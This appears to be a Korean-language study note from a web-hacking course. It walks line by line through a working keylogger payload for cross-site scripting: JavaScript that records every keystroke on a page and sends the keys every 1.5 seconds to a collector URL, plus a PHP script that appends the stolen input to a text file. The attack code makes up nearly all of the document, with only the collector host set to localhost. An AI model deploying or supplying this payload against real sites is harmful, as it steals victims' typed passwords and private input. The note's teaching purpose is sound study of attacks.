<script>
var keys='';
document.onkeypress = function (e){
get=window.event?event:e;
key=get.keyCode?get.keyCode:get.charCode;
key=String.fromCharCode(key);
keys+=key;
}
window.setInterval(function(){
new Image().src = "http://localhost/T3/keylogger.php?c=" + keys;
keys='';
}, 1500);
</script>
-> 키가 누를때마다 함수가 사용된다.
-> e는 event 관련 object를 받는 argument이기 때문에 다른 것으로 대체 x
-> 다른 브라우저간의 호환성을 나타냄
-> window.event는 internet explorer인 경우 사용
-> 그렇지 않은 경우 표준 이벤트 객체 e를 사용
-> 이 줄은 get값이 keyCode면 get.keyCode가 key값에 할당되고 아니면 get.charCode가 할당된다는 의미이다
-> 브라우저에서 제공하는 key값이 charCode인지 keyCode인지 구분하는 것이다.
-> 유니코드 값을 문자로 변환
->Iamge 객체에 keys의 정보를 담아 GET방식으로 정보를 받을 URL에 보냄
-> 눌린키를 저장하는 코드
-> keys = key를 쓴다면 누적이 아닌 매번 갱신됨
-> 일정간격으로 함수등을 실행시켜줌
new Image().src = "http://localhost/T3/keylogger.php?c=" + keys;
-> 새 이미지 객체를 만들고 캡쳐된 키입력을 매개변수로 (keys) 지정된 URL로 보냄
keys = '';
-> 키입력을 전송후 누적되지 않게 초기화
$str = isset($_GET['c'])?$_GET['c'] : false;
if($str){
$ff = fopen('data.txt','a+');
fputs($ff,$str);
fclose($ff);
}
?>
-> 매개변수(c)가 할당 되있으며 C값을 str에 할당 없으면 false를 할당
-> 아래 코드가 실행여부를 판단하게 하는 코드
-> data.txt파일을 여는 코드이다.
-> a+는 파일을 읽고 쓸 수 있고 없으면 만들 수도 있다.
-> r 읽기모드 w 쓰기모드 a 쓰기모드 x 쓰기모드
-> a는 원래 있던 글 뒤에씀 w는 지우고 씀
-> r,x는 없으면 false값 w,a는 text파일 만듬
-> +붙으면 읽기/쓰기모드 각각 특성은 지니고 있음
-> $str의 값을 $ff에 쓴다.
-> ff를 닫는 코드이다.
Normaltic Study 4주차 3일